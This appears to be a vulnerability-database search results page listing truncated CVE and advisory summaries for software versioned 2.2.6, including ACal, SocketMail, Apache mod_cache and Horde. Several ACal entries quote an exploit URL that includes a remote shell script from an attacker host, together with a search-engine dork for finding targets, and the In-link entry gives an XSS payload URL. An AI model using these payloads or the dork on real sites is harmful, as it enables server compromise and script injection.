233 matches found
Format string
Multiple format string vulnerabilities in AFFLIB 2.2.6 allow remote attackers to execute arbitrary code via certain command line parameters, which are used in 1 warn and 2 err calls, possibly involving a lib/s3.cpp, b tools/afconvert.cpp, c tools/afcopy.cpp, d tools/afinfo.cpp, e aimage/imager.cp...
Apache Httpd < 2.2.6 : mod_cache information leak
The recallheaders function in modmemcache in Apache 2.2.4 did not properly copy all levels of header data, which can cause Apache to return HTTP headers containing previously used data, which could be used by remote attackers to obtain potentially sensitive information...
CVE-2006-2681
CVE-2006-2681 describes a PHP remote file inclusion in SocketMail Lite and Pro 2.2.6 and earlier. When both register_globals and magic_quotes are enabled, an attacker can supply a URL in the site_path parameter to (1) index.php or (2) inc-common.php to execute arbitrary PHP code on the server. Th...
Remote file inclusion
PHP remote file inclusion vulnerability in day.php in ACal 2.2.6 allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...
CVE-2006-2261
CVE-2006-2261 affects ACal 2.2.6. The embed/day.php script does not sanitize the path parameter before using it in PHP include(), enabling a remote file inclusion that can allow arbitrary PHP code execution if PHP register_globals is enabled; the exact exploit details are not provided in the docu...
CVE-2006-2261
PHP remote file inclusion vulnerability in day.php in ACal 2.2.6 allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...
ACal 2.2.6 - day.php Remote File Inclusion
ACal 2.2.6 - day.php Remote File Inclusion $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:"Login to Calendar" $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit:...
ACal <= 2.2.6 (day.php) Remote File Inclusion Vulnerability
No description provided by source. $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:"Login to Calendar" $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit: http://url/calendarpath/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls...
ACal 2.2.6 - 'day.php' Remote File Inclusion
$$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:"Login to Calendar" $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit: http://url/calendarpath/embed/day.php?path=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-05-07...
XSS in In-link 2.2.6
Advisory: XSS in In-link 2.2.6 Уязвимость/Vulnerability: Межсайтовый скриптинг/Cross Site Scripting Уязвимый скрипт/Vulnerable script: index.php Exploit: http://mailinfo.ru/catalog/index.php?sid=27795275575&t=login&attach=27t=modify"scriptalert/script"...
[SA12992] Horde "Help Window" Cross-Site Scripting Vulnerability
TITLE: Horde "Help Window" Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA12992 VERIFY ADVISORY: http://secunia.com/advisories/12992/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: Horde Application Framework 2.x http://secunia.com/product/2016/...
Vicomsoft RapidCache Server 2.0/2.2.6 - Host Argument Denial of Service
source: https://www.securityfocus.com/bid/9427/info It has been reported that RapidCache server may be prone to a denial of service vulnerability that may allow an attacker to cause the server to crash or hang. The issue presents itself when an attacker sends an excessively large string value to...
CVE-2001-1370
CVE-2001-1370 affects PHPLib before 7.2d when register_globals is on, allowing remote code execution by sending an HTTP request that overwrites $_PHPLIB[libdir] to load code from another server. The issue is observed in Horde 1.2.5 and earlier, and in IMP before 2.2.6. Debian’s DSA-073-1 referenc...